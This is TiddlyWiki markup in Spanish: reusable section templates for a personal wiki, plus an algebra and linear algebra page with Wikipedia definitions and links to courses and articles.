
/% ADVERTENCIA: ¡¡No borres ni modifiques las siguientes líneas!!  %/
<<tiddler _comun_secciones with: {{tiddler.title}}>>
<<autoRefresh>>
<script>
return "!Descripcion ^^[[<editar>|"+tiddler.title+"_desc]]^^";
</script><<tiddler {{tiddler.title+"_desc"}} >>

!Subsecciones
<<tiddler ListadoSubsecciones with: {{tiddler.title}}>>
<<newChild
    title: "<nueva_subseccion>"
    label:"Crear nueva subsección"
    prompt:"Crea una nueva subsección utilizando una plantilla como base"
    tag:[[_subseccion]]    
    tag:[[_no_editable]]
    excludeTag:[[_seccion]]
    text:{{store.getTiddlerText("plantilla_seccion")}}
>>
<script>
return "!Enlaces ^^[[<editar>|"+tiddler.title+"_enlaces]]^^";
</script><<tiddler {{tiddler.title+"_enlaces"}} >>
!Apuntes rápidos
<<tiddler ListadoApuntes with: {{tiddler.title}}>>
<<newChild
    title:{{tiddler.title+"_apunte"}}
    label:"Nuevo apunte"
    prompt:"Crea un nuevo apunte rápido o miniguía"
    tag:[[_apunte]]
    excludeTag:[[_seccion]]
    text:{{store.getTiddlerText("plantilla_apunte")}}
>>

<<autoRefresh>>
!Descripcion ^^[[<editar>|$1_descripcion]]^^
<<tiddler [[$1_descripcion]] >>
!Subsecciones
<<tiddler ListadoSubsecciones with: [[$1]]>>
<<newChild
    title: "<nueva_subseccion>"
    label:"Crear nueva subsección de $1"
    prompt:"Crea una nueva subsección utilizando una plantilla como base"
    tag:[[_subseccion]]    
    tag:[[_no_editable]]
    excludeTag:[[_seccion]]
    text:{{store.getTiddlerText("plantilla_seccion")}}
>>
!Enlaces ^^[[<editar>|$1_enlaces]]^^
<<tiddler [[$1_enlaces]] >>
!Apuntes rápidos
<<tiddler ListadoApuntes with: [[$1]]>>
<<newChild
    title:[[$1_apunte]]
    label:"Nuevo apunte"
    prompt:"Crea un nuevo apunte rápido o miniguía"
    tag:[[_apunte]]
    excludeTag:[[_seccion]]
    text:{{store.getTiddlerText("plantilla_apunte")}}
>>

<<autoRefresh>>
<script>return "!Descripción^^[[<editar>|"+tiddler.title+"/subsecciones]]^^";</script>
<part descripcion>
Breve introducción.
</part>
<part subsecciones>
!Subsecciones
<<tiddler ListadoSubsecciones with: {{tiddler.title}}>>
<<newChild
    title: "<nueva_subseccion>"
    label:"Crear nueva subsección"
    prompt:"Crea una nueva subsección utilizando una plantilla como base"
    tag:[[_subseccion]]    
    tag:[[_no_editable]]
    excludeTag:[[_seccion]]
    text:{{store.getTiddlerText("plantilla_seccion")}}
>>
</part>
<script>return "!Enlaces^^[[<editar>|"+tiddler.title+"/enlaces]]^^";</script>
<part enlaces>
* ''misc:''
** Enlace 1: http://example.com
</part>
<part apuntes>
<<tiddler ListadoApuntes with: {{tiddler.title}}>>
<<newChild
    title:{{tiddler.title+"_apunte"}}
    label:"Nuevo apunte"
    prompt:"Crea un nuevo apunte rápido o miniguía"
    tag:[[_apunte]]
    excludeTag:[[_seccion]]
    text:{{store.getTiddlerText("plantilla_apunte")}}
>>
</part>
<<autoRefresh>>

<<showtoc>>
! Descripción
<part descripcion>
Según la [[wikipedia|http://es.wikipedia.org/wiki/%C3%81lgebra]]: //"El álgebra es la rama de las matemáticas que estudia las estructuras, las relaciones y las cantidades (en el caso del álgebra elemental). Es una de las principales ramas de la matemática, junto a la geometría, el análisis matemático, la combinatoria y la teoría de números."//

Según la [[wikipedia|http://es.wikipedia.org/wiki/%C3%81lgebra_lineal]]: //"El álgebra lineal es la rama de las matemáticas que estudia conceptos tales como vectores, matrices, sistemas de ecuaciones lineales y en un enfoque más formal, espacios vectoriales, y sus transformaciones lineales."//
</part>
!Enlaces
<part enlaces>
!! General
* Artículo de la Wikipedia sobre álgebra: http://es.wikipedia.org/wiki/%C3%81lgebra
* Artículo de la Wikipedia sobre álgebra lineal: http://es.wikipedia.org/wiki/%C3%81lgebra_lineal
* Categoría de Álgebra: http://es.wikipedia.org/wiki/Categor%C3%ADa:%C3%81lgebra
* Categoría de Álgebra lineal: http://es.wikipedia.org/wiki/Categor%C3%ADa:%C3%81lgebra_lineal
* Portal de álgebra: http://es.wikipedia.org/wiki/Portal:%C3%81lgebra

!! Cursos y artículos
* Curso en inglés de álgebra lineal: http://www.egwald.ca/linearalgebra/index.php
* Introducción al álgebra lineal: http://www.abaco.com.ve/lineal/InterfaseAlgebraContexto.htm
* Introducción: http://soko.com.ar/matem/matematica/introduccion.htm
* Lógica: http://soko.com.ar/matem/Logica_proposicional.htm
* Grupo: http://soko.com.ar/matem/matematica/grupo.htm
* Vectores: http://soko.com.ar/matem/matematica/vectores.htm
* Rectas y planos: http://soko.com.ar/matem/matematica/vector_recta.htm
* Sistemas de ecuaciones: http://soko.com.ar/matem/matematica/ecuaciones_sistemas.htm

!! Métodos y algoritmos
* Descomposición QR: http://en.wikipedia.org/wiki/QR_decomposition
</part>

/% ADVERTENCIA: ¡¡No borres ni modifiques las siguientes líneas!!  %/
<<tiddler _comun_secciones with: {{tiddler.title}}>>
<<autoRefresh>>